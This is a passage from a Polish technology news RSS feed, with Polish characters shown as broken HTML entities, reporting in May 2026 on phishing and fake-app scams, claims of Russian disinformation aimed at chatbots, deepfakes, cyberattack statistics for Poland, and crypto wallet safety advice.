Klienci, ktand#243;rzy czytali komunikaty banku, wiedzieli, and#380;e nie trzeba byand#322;o ponownie aktywowaand#263; aplikacji. Nie trzeba byand#322;o teand#380; zmieniaand#263; loginu, hasand#322;a ani potwierdzaand#263; danych przez link z reklamy. CERT Orange podkreand#347;la, and#380;e podobny schemat moand#380;e uderzyand#263; w klientand#243;w dowolnego banku. Dziand#347; pretekstem jest Erste, jutro moand#380;e byand#263; inna instytucja, promocja albo and#8222;obowiand#261;zkowa weryfikacjaand#8221;.
and#160;
Puand#322;apka dla ciekawskich
Kilka dni temu analitycy ESET opisali kampaniand#281; CallPhantom, czyli 28 aplikacji z Google Play, ktand#243;re obiecywaand#322;y dostand#281;p do rejestrand#243;w poand#322;and#261;czeand#324;, SMS-and#243;w i historii WhatsApp dla dowolnego numeru telefonu. Aplikacje pobrano and#322;and#261;cznie ponad 7,3 mln razy. Po dokonaniu pand#322;atnoand#347;ci uand#380;ytkownik nie otrzymywaand#322; jednak and#380;adnych prawdziwych danych, tylko losowo wygenerowane informacje.
Aplikacje nie musiaand#322;y prosiand#263; o podejrzane uprawnienia. Nie potrzebowaand#322;y dostand#281;pu do telefonu, kontaktand#243;w czy wiadomoand#347;ci, poniewaand#380; niczego realnie nie odczytywaand#322;y. Sprzedawaand#322;y obietnicand#281; usand#322;ugi, ktand#243;rej zwykand#322;a aplikacja i tak nie mogand#322;aby legalnie ani technicznie wykonaand#263;. ESET wskazaand#322; teand#380;, and#380;e czand#281;and#347;and#263; pand#322;atnoand#347;ci byand#322;a prowadzona poza oficjalnym systemem Google Play, co utrudnia pand#243;and#378;niejsze odzyskanie pieniand#281;dzy.
and#160;
Faand#322;szywe mandaty
CERT Polska ostrzegaand#322; z kolei przed kampaniand#261;, w ktand#243;rej oszuand#347;ci informujand#261; o rzekomym wykroczeniu drogowym i koniecznoand#347;ci szybkiego opand#322;acenia naleand#380;noand#347;ci. W jednym z wariantand#243;w wykorzystano spoofing nazwy nadawcy, wiand#281;c wiadomoand#347;and#263; mogand#322;a trafiand#263; do istniejand#261;cej konwersacji z powiadomieniami z mObywatela. Link prowadziand#322; do strony podszywajand#261;cej siand#281; pod CEPiK, a uand#380;ytkownik byand#322; proszony o dane karty pand#322;atniczej.
and#160;
W kand#243;and#322;ko to samo. Niestety skutecznieand#8230;
Wszystkie trzy przypadki and#322;and#261;czy ten sam mechanizm. Oszust tworzy sytuacjand#281;, ktand#243;ra wygland#261;da znajomo i wymaga szybkiej reakcji. Nowa marka banku, atrakcyjna premia, aplikacja z oficjalnego sklepu albo SMS od nadawcy przypominajand#261;cego paand#324;stwowand#261; usand#322;ugand#281; majand#261; uand#347;piand#263; czujnoand#347;and#263;. Potem pojawia siand#281; formularz, link albo pand#322;atnoand#347;and#263;.
Jak mantrand#281; band#281;dziemy powtarzaand#263;: nie naleand#380;y wpisywaand#263; loginu, hasand#322;a, kodu SMS ani danych karty po przejand#347;ciu z reklamy, wiadomoand#347;ci lub komunikatora. W sprawach bankowych najlepiej samodzielnie wejand#347;and#263; na oficjalnand#261; stronand#281; albo do aplikacji. W przypadku mandatand#243;w i urzand#281;dand#243;w trzeba korzystaand#263; z oficjalnych kanaand#322;and#243;w, a podejrzane SMS-y moand#380;na przesand#322;aand#263; do CERT Polska na numer 8080. ]]></description>
		</item><item>
			<title><![CDATA[ Zhakowali portfele i zniknęli z pieniędzmi. USA i Chiny dopadły sieć oszustów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1706</link>
			<description><![CDATA[ 05-17 11:47



Funkcjonariusze policji z Chin, USA i Zjednoczonych Emiratand#243;w Arabskich aresztowali we wspand#243;lnej operacji 276 osand#243;b podejrzanych o wyand#322;udzenia poprzez internet i telefon; operacja ta miaand#322;a na celu zwalczanie gangand#243;w oszustand#243;w dziaand#322;ajand#261;cych w Dubaju and#8211; poinformowaand#322;a w niedzieland#281; chiand#324;ska paand#324;stwowa stacja telewizyjna CCTV.
and#160;




and#160;

fot. Shutterstock AI /and#160;/and#160;Shutterstock


Jak przekazaand#322;a CCTV, byand#322;a to pierwsza tego rodzaju operacja przeprowadzona wspand#243;lnie przez te trzy kraje, a w jej wyniku and#8222;udaand#322;o siand#281; zlikwidowaand#263; dziewiand#281;and#263; centrand#243;w oszustwand#8221;. Wyjaand#347;niono, and#380;e ofiary byand#322;y nakand#322;aniane do inwestowania w nieistniejand#261;ce kryptowaluty.
and#8222;Chiand#324;ska policja pogand#322;and#281;bi pragmatycznand#261; wspand#243;and#322;pracand#281; z wiand#281;kszand#261; liczband#261; krajand#243;wand#8221; w walce z oszustwami telekomunikacyjnymi i internetowymi - powiadomiand#322;a stacja, powoand#322;ujand#261;c siand#281; na chiand#324;skie ministerstwo bezpieczeand#324;stwa publicznego.
W ostatnich latach Chiny wspand#243;and#322;pracowaand#322;y rand#243;wnieand#380; z Mjanmand#261; (Birmand#261;) w celu ekstradycji duand#380;ej liczby osand#243;b podejrzanych o udziaand#322; w miand#281;dzynarodowych gangach zajmujand#261;cych siand#281; cyberoszustwami.and#160;
and#160;
and#378;rodand#322;o PAP 17 maja 2026 bjn/ rtt/ ]]></description>
		</item><item>
			<title><![CDATA[ Rosja „zatruwa” ChatGPT. Moskwa manipuluje odpowiedziami o wojnie w Ukrainie ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1705</link>
			<description><![CDATA[ 26-05-17 06:00



Moskwa wykorzystuje sztucznand#261; inteligencjand#281; do and#8222;zatruwaniaand#8221; ChatGPT i innych modeli jand#281;zykowych poprzez rozpowszechnianie faand#322;szywych informacji, takand#380;e o wojnie w Ukrainie - ostrzegand#322; podczas kongresu Impact'26 Peter Pomerantsev, brytyjski dziennikarz i ekspert ds. dezinformacji.
and#160;




and#160;

fot. Ascannio /and#160;/and#160;Shutterstock


- Rosja zawsze dostosowuje siand#281; do nowych technologii i dlatego wykorzystuje AI do tego, co nazywamy zatruwaniem odpowiedzi generowanych przez ChatGPT czy Claude, tworzand#261;c przy pomocy sztucznej inteligencji wiele faand#322;szywych wersji rzeczywistoand#347;ci, na przykand#322;ad na temat wojny w Ukrainie and#8211; powiedziaand#322; dziennikarz, ktand#243;ry byand#322; w and#347;rodand#281; jednym z panelistand#243;w podczas wydarzenia organizowanego w Poznaniu.



and#160;



Pomerantsev zaznaczyand#322;, and#380;e takie dziaand#322;ania strony rosyjskiej mogand#261; doprowadziand#263; do sytuacji, w ktand#243;rej - jeand#347;li zapytamy ChatGPT o to, kto jest odpowiedzialny za wojnand#281; w Ukrainie - narzand#281;dzie to zacznie band#322;and#281;dnie obwiniaand#263; o ten konflikt, na przykand#322;ad, Polskand#281; czy Szwecjand#281;. Dodaand#322; takand#380;e, and#380;e Rosja nie przestaje manipulowaand#263; rzeczywistoand#347;ciand#261; we wand#322;asnym kraju i stworzyand#322;a w tym celu wand#322;asne modele jand#281;zykowe.
and#160;

- Jeand#347;li wiand#281;c jesteand#347; Rosjaninem i zapytasz, co dzieje siand#281; w Ukrainie, modele te podadzand#261; odpowiedand#378; dopasowanand#261; do oficjalnej rosyjskiej wersji (tej odpowiedzi - PAP) and#8211; powiedziaand#322; dziennikarz.

Pomerantsev zaznaczyand#322; takand#380;e, and#380;e Moskwa ma przewagand#281; w przestrzeni informacyjnej dziand#281;ki ogromnej skali cenzury i kontroli nad mediami. Natomiast, jak oceniand#322;, paand#324;stwa demokratyczne sand#261; bardziej odporne na destabilizacjand#281;.
- Nasze spoand#322;eczeand#324;stwa sand#261; otwarte, dlatego sand#261; teand#380; bardzo odporne and#8211; zauwaand#380;yand#322; Pomerantsev, dodajand#261;c, and#380;e Rosja pozostaje szczegand#243;lnie wraand#380;liwa na presjand#281; zwiand#261;zanand#261; z problemami gospodarczymi i mobilizacjand#261; do armii.



















and#378;rodand#322;o PAP 17 maja 2026
Polska Agencja Prasowa jest patronem medialnym kongresu Impact. (PAP)
yb/ rtt/

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Lawina fałszywych treści w sieci. Deepfejki i manipulacje AI coraz większym wyzwaniem ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1704</link>
			<description><![CDATA[ Skala dezinformacji roand#347;nie wraz zand#160;lawinowym przyrostem treand#347;ci wand#160;internecie, a nowe technologie - wand#160;tym sztuczna inteligencja - dodatkowo wzmacniajand#261; jej oddziaand#322;ywanie. Jak wskazujand#261; eksperci, odbiorcom treand#347;ci coraz trudniej odrand#243;and#380;niand#263; prawdand#281; od faand#322;szu, a and#347;wiadomoand#347;and#263; wand#160;tym obszarze jest kluczowa, by ograniczyand#263; moc dezinformacji. Sand#322;uand#380;yand#263; temu majand#261; takand#380;e regulacje, ale wyzwaniem jest takie ich skonstruowanie, by nieand#160;naruszaand#322;y wolnoand#347;ci sand#322;owa.
and#160;




and#160;

fot. hxdbzxy /and#160;/and#160;Shutterstock


  Dezinformacja to jednoczeand#347;nie bardzo dynamiczne i wieloaspektowe zjawisko. Nie moand#380;emy mand#243;wiand#263; o tym, and#380;e ma ona staand#322;and#261; formand#281;. To zjawisko, ktand#243;re bardzo siand#281; zmienia w czasie w zaleand#380;noand#347;ci od tego, co siand#281; dzieje na and#347;wiecie, ale teand#380; w zaleand#380;noand#347;ci od tego, jakie sand#261; warunki i zmiany technologiczne - mand#243;wi w wywiadzie dla agencji Newseria Katarzyna Band#261;kowicz z Uniwersytetu SWPS, ekspertka w Departamencie Bezpieczeand#324;stwa Narodowego Kancelarii Prezesa Rady Ministrand#243;w.
Z raportu and#8222;Dezinformacja oczami Polakand#243;wand#8221;, opracowanego przezand#160;Digital Poland, wynika, and#380;e juand#380; wand#160;2024 roku 84 proc. Polakand#243;w zetknand#281;and#322;o siand#281; zand#160;fake newsem, a dziewiand#281;and#263; na 10 osand#243;b uwierzyand#322;o wand#160;choand#263; jednand#261; zand#160;takich informacji. Zdaniem 82 proc. badanych skala dezinformacji rozpowszechnianej wand#160;internecie wzrosand#322;a wand#160;ciand#261;gu minionej dekady.
and#160;
-and#160;Ekosystem informacyjny, wand#160;ktand#243;rym funkcjonujemy obecnie, jest zupeand#322;nie inny od tego, ktand#243;ry byand#322; jeszcze 10, 20 czy 100 lat temu. Dezinformacja jest od zawsze jakand#261;and#347; jego czand#281;and#347;ciand#261;. Problem, ktand#243;ry obserwujemy teraz, polega na tym, and#380;e kiedy przybywa informacji, to przybywa teand#380; automatycznie dezinformacji. Treand#347;ci zafaand#322;szowanych iand#160;zmanipulowanych zaczyna byand#263; coraz wiand#281;cej. Widzimy zachwianie rand#243;wnowagi pomiand#281;dzy prawdand#261; a faand#322;szem, czyli pomiand#281;dzy informacjami a treand#347;ciami dezinformacyjnymiand#160;- wskazuje ekspertka.
Autorzy raportu wskazujand#261;, and#380;e Polacy spotykajand#261; siand#281; zand#160;dezinformacjand#261; najczand#281;and#347;ciej wand#160;mediach spoand#322;ecznoand#347;ciowych (55 proc.). Co trzeci zand#160;badanych zetknand#261;and#322; siand#281; zand#160;niand#261; na internetowych portalach informacyjnych (33 proc.) orazand#160;na blogach iand#160;forach internetowych (31 proc.). Wiand#281;cej niand#380; co drugi Polak otrzymaand#322; fake newsa od innej osoby (59 proc.). Jako dwa najczand#281;stsze and#378;rand#243;dand#322;a tak przekazywanych faand#322;szywych informacji wskazano przede wszystkim przekaz werbalny od znajomych i rodziny (57 proc.).
- Platformy spoand#322;ecznoand#347;ciowe sand#261; gand#322;and#243;wnym, ale nieand#160;jedynym miejscem, gdzie tej dezinformacji jest dosyand#263; sporo. Dezinformacja moand#380;e byand#263; takand#380;e niemedialnaand#160;- zaznacza Katarzyna Band#261;kowicz.
Eksperci zwracajand#261; uwagand#281; na szczegand#243;lnie niebezpieczny trend wykorzystania nowych technologii do tworzenia faand#322;szywych treand#347;ci. 71 proc. ankietowanych przyznaand#322;o, and#380;e wand#160;ciand#261;gu ostatnich 10 lat wzrosand#322;a skala manipulacji rozprzestrzenianych wand#160;internecie za poand#347;rednictwem sztucznej inteligencji.
-and#160;Kiedy mand#243;wimy oand#160;relacji technologii iand#160;dezinformacji, to oczywiand#347;cie mamy tu deepfejki, ale takand#380;e cheapfejki - to sand#261; rand#243;and#380;nego rodzaju manipulacje, ktand#243;rych wykreowanie uand#322;atwiajand#261; narzand#281;dzia technologiczne. Mamy dezinformacjand#281; wand#160;formie zorganizowanych kampanii, na przykand#322;ad sponsorowanych przezand#160;Rosjand#281;, ale teand#380; mamy dezinformacjand#281; wand#160;kategorii indywidualnej - kaand#380;dy uand#380;ytkownik internetu moand#380;e jand#261; tworzyand#263;and#160;- podkreand#347;la ekspertka zand#160;Kancelarii Prezesa Rady Ministrand#243;w..
Raportand#160;NASK wskazuje, and#380;e wand#160;ubiegand#322;ym roku instytucja zgand#322;osiand#322;a do platform spoand#322;ecznoand#347;ciowych ponad 46 tys. materiaand#322;and#243;w zawierajand#261;cych dezinformacjand#281;. Moderacji poddano 68 proc. treand#347;ci, a 12 proc. zostaand#322;o usuniand#281;tych. Na 20 proc. zgand#322;oszeand#324; platformy wand#160;ogand#243;le nieand#160;zareagowaand#322;y. To oznacza, and#380;e ponad 9,3 tys. treand#347;ci dezinformacyjnych nadal funkcjonuje wand#160;sieci. Jak dodaje Katarzyna Band#261;kowicz, tego zjawiska nieand#160;da siand#281; caand#322;kowicie wyeliminowaand#263; zand#160;ekosystemu informacyjnego. Trzeba natomiast dokand#322;adaand#263; staraand#324; iand#160;rozwijaand#263; narzand#281;dzia, ktand#243;re pozwoland#261; ograniczyand#263; skaland#281; jego rozprzestrzeniania siand#281;.and#160;





-and#160;Bardzo duand#380;ym wyzwaniem sand#261; regulacje iand#160;przygland#261;danie siand#281; temu, gdzie ta sfera wymaga jakiejand#347; interwencji. Nie moand#380;emy dopuand#347;ciand#263; do tego, and#380;eby zaczand#261;and#263; cenzurowaand#263; treand#347;and#263;, bo jednak wolnoand#347;and#263; sand#322;owa to jest coand#347;, na czym nam bardzo zaleand#380;yand#160;-and#160;uwaand#380;a specjalistka.and#160;- Do walki zand#160;dezinformacjand#261; mamy bardzo wiele narzand#281;dzi, nieand#160;tylko zand#160;kategorii cyber. Na pewno wyzwaniem jest to, and#380;ebyand#347;my zaczand#281;li scalaand#263; ten system narzand#281;dziowy wand#160;jedno, and#380;ebyand#347;my dziaand#322;ali wspand#243;lnie: politycy, naukowcy, przedsiand#281;biorcy, organizacje pozarzand#261;dowe.and#160;Potrzebna jest interdyscyplinarnoand#347;and#263;, czyli wieloaspektowe spojrzenie na dezinformacjand#281;, orazand#160;wspand#243;and#322;praca, czyli to, and#380;e band#281;dziemy siand#281; uzupeand#322;niaand#263; wand#160;regulowaniu sfery informacyjnejand#160;- uwaand#380;a specjalistka.
Jednand#261; zand#160;kluczowych regulacji wand#160;tym zakresie jest unijne rozporzand#261;dzenie Digital Services Act, ktand#243;re nakand#322;ada na duand#380;e platformy internetowe obowiand#261;zki wand#160;kwestii ograniczania ryzyk zwiand#261;zanych zand#160;rozprzestrzenianiem siand#281; faand#322;szywych lub manipulacyjnych treand#347;ci. W Polsce ustawa dostosowujand#261;ca polskie prawo do DSA zostaand#322;a zawetowana przezand#160;prezydenta Karola Nawrockiego na poczand#261;tku stycznia, a gand#322;and#243;wnym zarzutem byand#322;a obawa oand#160;cenzurowanie treand#347;ci. Ministerstwo Cyfryzacji zapowiedziaand#322;o nowand#261; wersjand#281; przepisand#243;w. Na poczand#261;tku kwietnia weszand#322;y wand#160;and#380;ycie nowe przepisy oand#160;krajowym systemie cyberbezpieczeand#324;stwa obejmujand#261;ce sektor publiczny, ktand#243;re nakand#322;adajand#261; na podmioty miand#281;dzy innymi obowiand#261;zek wdroand#380;enia systemu zarzand#261;dzania bezpieczeand#324;stwem informacji.
Rand#243;wnieand#380; na poziomie innych resortand#243;w, m.in. Ministerstwa Klimatu iand#160;and#346;rodowiska czy Ministerstwa Zdrowia, podejmowane sand#261; inicjatywy zmierzajand#261;ce do ograniczania ryzyka dezinformacji. Przykand#322;adem moand#380;e byand#263; przyjand#281;te wand#322;aand#347;nie przezand#160;rzand#261;d tzw. lex szarlatan, czyli projekt przepisand#243;w, ktand#243;re majand#261; za zadanie walczyand#263; zand#160;pseudomedycynand#261; iand#160;dezinformacjand#261; medycznand#261;.
-and#160;Dezinformacja wand#160;takiej skali jest stosunkowo nowym zjawiskiem, a and#380;ebyand#347;my odczuli efekty prowadzonych kampanii, potrzeba kilka lat. Te efekty nieand#160;pojawiand#261; siand#281; po dwand#243;ch czy trzech miesiand#261;cach. Praca u podstaw iand#160;gand#322;and#281;bokie zaangaand#380;owanie przyniosand#261; efekty, ale musimy na nieand#160;niestety trochand#281; poczekaand#263;and#160;- mand#243;wi Katarzyna Band#261;kowicz.





Ekspertkaand#160;przypomina, and#380;e niezaleand#380;nie od powstajand#261;cych regulacji podstawand#261; wand#160;walce zand#160;dezinformacjand#261; jest czujnoand#347;and#263; iand#160;and#347;wiadomoand#347;and#263; odbiorcand#243;w informacji.
Po pierwsze, trzeba spojrzeand#263; na tytuand#322;, czy nieand#160;jest zbyt sensacyjny iand#160;nie pobudza nas emocjonalnie. Warto sprawdziand#263; autora iand#160;datand#281; publikacji. To, co jest najwaand#380;niejszym elementem, to daand#263; sobie czas na zagand#322;and#281;bienie siand#281; wand#160;temat iand#160;powstrzymaand#263; swojand#261; niecierpliwoand#347;and#263;, and#380;eby nieand#160;przekazywaand#263; tej informacji dalej do innych uand#380;ytkownikand#243;w infosfery, dopand#243;ki nieand#160;zostanie ona potwierdzonaand#160;- radzi.
and#160;

and#377;rand#243;dand#322;o: and#160; and#160; and#160; and#160; 16 maj 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Polska stała się „hakerskim poligonem” Europy ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1703</link>
			<description><![CDATA[ Juand#380; prawie 40 proc. atakand#243;w cybernetycznych uderza w instytucje paand#324;stwa and#8211; wynika z analiz unijnej agencji ENISA. Nowe badania wskazujand#261;, and#380;e polski sektor publiczny staand#322; siand#281; kluczowym celem hakerand#243;w - informuje piand#261;tkowa and#8222;Rzeczpospolita".
and#160;




and#160;

fot. cottonbro studio /and#160;/and#160;Pexels


and#160;
Z najnowszego zestawienia Check Point Research przygotowanego dla and#8222;Rzeczpospolitejand#8221; wynika, and#380;e w maju, w ciand#261;gu zaledwie tygodnia, cyberprzestand#281;pcy dokonywali w naszym kraju blisko 3 tys. prand#243;b ataku na sektor administracji i instytucje publiczne. To plasuje Polskand#281; na szczycie listy celand#243;w hakerand#243;w, obok Wand#322;och i Hiszpanii.

and#8222;Ryzyko i intensywnoand#347;and#263; atakand#243;w cybernetycznych rosnand#261; od wielu miesiand#281;cy. Podczas gdy w poand#322;owie ubiegand#322;ego roku notowaliand#347;my 2 tys. atakand#243;w na sektor rzand#261;dowy, obecnie mamy ich juand#380; o 40 proc. wiand#281;cej. Polskie instytucje rzand#261;dowe odpierajand#261; ponad 2,9 tys. atakand#243;w tygodniowo and#8211; wiand#281;cej niand#380; rzand#261;dy Czech, Francji czy Austrii" and#8211; powiedziaand#322; and#8222;Rz" Krzysztof Nierodka, menedand#380;er w firmie Check Point Software Technologies w Polsce.

and#160;
Jak wskazuje, liczba atakand#243;w na polskie instytucje rzand#261;dowe jest o 80 proc. wiand#281;ksza niand#380; na drugi najbardziej zagroand#380;ony sektor. Chodzi o sektor finansand#243;w (1795 atakand#243;w tygodniowo), a w dalszej kolejnoand#347;ci o branand#380;and#281; energetycznand#261; i uand#380;ytecznoand#347;ci publicznej (ponad 1660 atakand#243;w).
and#160;
and#8222;Eksperci twierdzand#261;, and#380;e nasz kraj na celownik wziand#281;and#322;y tak groand#378;ne grupy hakerskie, jak Sandworm, Fancy Bear, APT29 czy APT28" - pisze and#8222;Rz". (PAP)
and#160;
and#160;
and#378;rodand#322;o PAP 15 maja 2026 lm/ zm/ ]]></description>
		</item><item>
			<title><![CDATA[ Zgubiony telefon i haker na LinkedIn. 3 błędy, przez które Twoje oszczędności wyparują w sekundę ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1702</link>
			<description><![CDATA[ Hakerzy nie biorand#261; urlopand#243;w, a Twand#243;j portfel kryptowalut jest bezpieczny do pierwszej zgubionej komand#243;rki lub "okazyjnej" oferty na LinkedInie. Dzisiejsze notatki to kilka lekcji przetrwania na rynku cyfrowych aktywand#243;w od mojej Rady Ekspertand#243;w - o band#322;and#281;dach i zasadach, ktand#243;re ratujand#261; majand#261;tek.
and#160;




and#160;

fot. Everett Collection /and#160;/and#160;Shutterstock


and#160;
Witajcie, tu Janusz.
Mand#243;j siostrzeniec Paweand#322; ostatnio o maand#322;o nie zszedand#322; na zawaand#322;, bo nie mand#243;gand#322; znaleand#378;and#263; telefonu. "Wujku, tam mam wszystko! Portfele, kody, caand#322;e oszczand#281;dnoand#347;ci!" - krzyczaand#322;, przetrzand#261;sajand#261;c caand#322;y dom, gdy reszta rodziny spokojnie jadand#322;a niedzielny obiad. Paweand#322; nie zapisaand#322; nigdzie indziej haseand#322; awaryjnych, bo "co siand#281; moand#380;e staand#263;", "nigdy nie zgubiand#322;em telefonu". No cand#243;and#380;, zawsze moand#380;e byand#263; ten pierwszy raz. Wtedy pytanie brzmi, czy potrafisz odzyskaand#263; swand#243;j majand#261;tek.and#160;



and#160;



Cyfrowe koand#322;o ratunkowe, czyli fraza seed
Utrata urzand#261;dzenia z dostand#281;pem do portfeli to jeden z najczarniejszych scenariuszy dla amatora, ale dla kogoand#347; z planem awaryjnym to tylko logistyczna niedogodnoand#347;and#263;. Dowodzi tego przypadek prof. Krzysztof Piech, ktand#243;ry jak opowiedziaand#322; mi, kiedyand#347; w wyniku zdarzenia losowego, straciand#322; telefon z dostand#281;pem do swoich kryptowalut.
- Na szczand#281;and#347;cie miaand#322;em zapisany tzw. seed, czyli zestaw sand#322;and#243;w pozwalajand#261;cych odzyskaand#263; dostand#281;p do and#347;rodkand#243;w. Dziand#281;ki temu wszystkie kryptowaluty udaand#322;o siand#281; odzyskaand#263; - wspomina ekspert. - To dobra lekcja dla poczand#261;tkujand#261;cych: najwaand#380;niejsze jest bezpieczne przechowywanie seeda. Jeand#347;li ktoand#347; go straci, czand#281;sto nie ma juand#380; and#380;adnej moand#380;liwoand#347;ci odzyskania and#347;rodkand#243;w.



















To brutalna prawda, ktand#243;rand#261; powinien zapamiand#281;taand#263; mand#243;j siostrzeniec - w krypto tym co strzeand#380;e Twojego majand#261;tku nie jest iPhone czy Samsung, ale zestaw sand#322;and#243;w schowany w bezpiecznym miejscu. Jeand#347;li urzand#261;dzenie siand#281; zgubi, kupujesz nowe. Ale jeand#347;li zgubisz seed, to tak, jakbyand#347; zatrzasnand#261;and#322; kluczyki w niezniszczalnym samochodzie. Nie dostaniesz siand#281; juand#380; do and#347;rodka.
Wiand#281;cej o bezpiecznym przechowywaniu kryptowalut pisaand#322;em w notatkach: "Bitcoin u siebie, czyli jak nie utonand#261;and#263; z gieand#322;dand#261;. Wszystko o portfelach kryptowalut".
and#160;
Trzy schematy, na ktand#243;re zand#322;apie siand#281; nawet stary wyga
Eksperci cyberbezpieczeand#324;stwa tacy jak and#321;ukasz Mikuand#322;a prand#243;by phishingu otrzymujand#261; kilka razy w miesiand#261;cu. To pokazuje, and#380;e jeand#347;li masz kryptowaluty lub dziaand#322;asz w zwiand#261;zanej z nimi branand#380;y, jesteand#347; na celowniku hakerand#243;w 24/7. and#321;ukasz wskazuje na trzy najpopularniejsze puand#322;apki, ktand#243;re czyhajand#261; na nas w 2026 roku:

Nierzetelne projekty, ktand#243;re manipulujand#261; cenand#261; tokenu lub symulujand#261; hakerski atak, by ogand#322;osiand#263;, and#380;e "pieniand#261;dze niestety zniknand#281;and#322;y".
Wyand#322;udzenia "approvali". Approval to takie blockchainowe upowaand#380;nienie do dysponowania and#347;rodkami, podpisane przy pomocy portfela mocodawcy. Przestand#281;pcy wykorzystujand#261; tand#281; technologiand#281; w miejscach, gdzie na stronie naleand#380;y "podand#322;and#261;czyand#263; portfel", aby korzystaand#263; z strony projektu kryptowalutowego. Mniej uwaand#380;ni uand#380;ytkownicy mogand#261; kliknand#261;and#263; o jedno "okienko" za duand#380;o, co wystarczy do utraty and#347;rodkand#243;w - dlatego tak waand#380;ne jest, aby nigdy nie "przekilkiwaand#263;" okienek dialogowych wyand#347;wietlany przez przegland#261;darkowy portfeland#160;bez czytania.and#160;
Rand#243;and#380;ne socjotechniczne scenariuszeand#160;- w tym miejscu and#321;ukasz opowiedziaand#322; mi o przypadku, kiedy jesteand#347;my zapraszani, np. za poand#347;rednictwem LinkedIn, na rozmowand#281; online z kotrahentem czy rekruterem. Poniewaand#380; dziwnym trafem rozmowa nie dziaand#322;a, zostajemy poproszeni o doinstalowanie czegoand#347;, a my nie chcand#261;c and#378;le wypaand#347;and#263; w poand#347;piechu pobieramy "alternatywny program do rozmand#243;wand#8221; albo wchodzimy na "nowy link do spotkania". W innym wariancie, kandydatom do pracy przesyand#322;any jest "program, ktand#243;ry trzeba przebudowaand#263;" co rand#243;wnieand#380; wymaga uruchomienia czegoand#347;. Instalacja dowolnego oprogramowania z takiego scenariusza koand#324;czy siand#281; utratand#261; wszystkich wartoand#347;ciowych danych z komputera.

W moich notatkach "Haker nie musi and#322;amaand#263; hasand#322;a, by Ciand#281; okraand#347;and#263;. Te zasady cyfrowego BHP warto znaand#263;" przeczytacie wiand#281;cej o technicznych zasadach bezpieczeand#324;stwa - np. czy Windows Defender wystarczy do ochrony komputera, czy dwuetapowa weryfikacja to koniecznoand#347;and#263; (tak) i na co szczegand#243;lnie uwaand#380;aand#263;.and#160;





and#160;
Zimny portfel i and#347;wiand#281;ty spokand#243;j
Kolejny z moich zaprzyjaand#378;nionych ekspertand#243;w, Jarosand#322;aw Fuchs, ktand#243;ry do ochrony aktywand#243;w podchodzi z dyscyplinand#261; wypracowanand#261; w sektorze bankowym, powiedziaand#322; mi, and#380;e nigdy nie straciand#322; dostand#281;pu do swoich and#347;rodkand#243;w.
- To efekt jednej konsekwentnie stosowanej zasady - zimny portfel, przechowywany w bezpiecznym miejscu, odand#322;and#261;czony od sieci. Tyle. Nie ma tu and#380;adnej magii - mand#243;wi Jarosand#322;aw Fuchs. - Poczand#261;tkujand#261;cy czand#281;sto myand#347;land#261;, and#380;e hardware wallet to sprzand#281;t dla zaawansowanych, a to band#322;and#261;d. To sprzand#281;t dla kaand#380;dego, kto traktuje swoje and#347;rodki powaand#380;nie. Radziand#322;bym zajand#261;and#263; siand#281; tym, zanim kupi siand#281; pierwsze krypto.
To podejand#347;cie w stylu "lepiej zapobiegaand#263; niand#380; pand#322;akaand#263;". W and#347;wiecie cyfrowym najbezpieczniejsze jest to, co nie ma poand#322;and#261;czenia z Wi-Fi. Jeand#347;li Twoje klucze prywatne znajdujand#261; siand#281; w portfelu sprzand#281;towym odand#322;and#261;czonym od internetu, haker ma przed soband#261; barierand#281;, ktand#243;rej nie przeskoczy.and#160;Paweand#322; narzeka, and#380;e portfel sprzand#281;towy kosztuje tyle, co trzy wyjand#347;cia na pizzand#281;. Ja mu na to: wybieraj - albo zapand#322;acisz raz za porzand#261;dny sejf, albo band#281;dziesz fundowaand#322; pizzand#281; hakerom do koand#324;ca and#380;ycia.
and#160;
Gdy celem staje siand#281; czand#322;owiek
Niestety, nawet najwyand#380;sza wiedza techniczna nie zawsze chroni przed atakiem, ktand#243;ry uderza prosto w psychikand#281;. W sierpniu 2024 roku prof. Krzysztof Piech padand#322; ofiarand#261; wyrafinowanego ataku socjotechnicznego. Haker prand#243;bowaand#322; go szantaand#380;owaand#263; rzekomym ujawnieniem materiaand#322;and#243;w, ktand#243;rych w rzeczywistoand#347;ci nie posiadaand#322;. Klasyczny bluff, ale z bolesnym skutkiem.





- W wyniku tego ataku napastnikowi udaand#322;o siand#281; przejand#261;and#263; dostand#281;p do jednego z moich portfeli w MetaMask and#8211; mand#243;wi Krzysztof Piech. - Najbardziej problematyczne byand#322;o to, and#380;e kaand#380;de nowe and#347;rodki pojawiajand#261;ce siand#281; na tym adresie byand#322;y natychmiast automatycznie przekierowywane na adres naleand#380;and#261;cy do napastnika. Sytuacja wymusiand#322;a zmianand#281; wielu haseand#322; i wdroand#380;enie nowych procedur bezpieczeand#324;stwa, jak choand#263;by lepszy program do przechowywania haseand#322;.
To, o czym mand#243;wi profesor, pokazuje, and#380;e hakerzy wcale nie muszand#261; wand#322;amywaand#263; siand#281; do Twoich urzand#261;dzeand#324; - wystarczy, and#380;e "zhakujand#261; uand#380;ytkownika". A jeand#347;li Twand#243;j portfel zostanie w ten sposand#243;b przejand#281;ty, staje siand#281; "spalonand#261; ziemiand#261;and#8221; i kaand#380;dy token, ktand#243;ry zostanie tam wpand#322;acony, natychmiast znika.
Dzisiejsze notatki uczand#261; nas jednego:and#160;na tym rynku nie ma osand#243;b nietykalnych. Rand#243;and#380;nica polega na tym, and#380;e profesjonaliand#347;ci majand#261; plan awaryjny - backupy i and#380;elazne zasady. Paweand#322; w koand#324;cu znalazand#322; swand#243;j telefon pod kanapand#261;, ale mam nadziejand#281;, and#380;e ta lekcja zostanie z nim na dand#322;uand#380;ej - bezpieczeand#324;stwo to proces i przygotowanie siand#281; na najgorszy moand#380;liwy scenariusz, a nie jednorazowe ustawienie trudnego hasand#322;a.and#160;
and#160;
and#378;rodand#322;o Bankier.pland#160;14 maja 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Proponują pracę w Apple i kradną konto. Uwaga na nowy scam! ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1701</link>
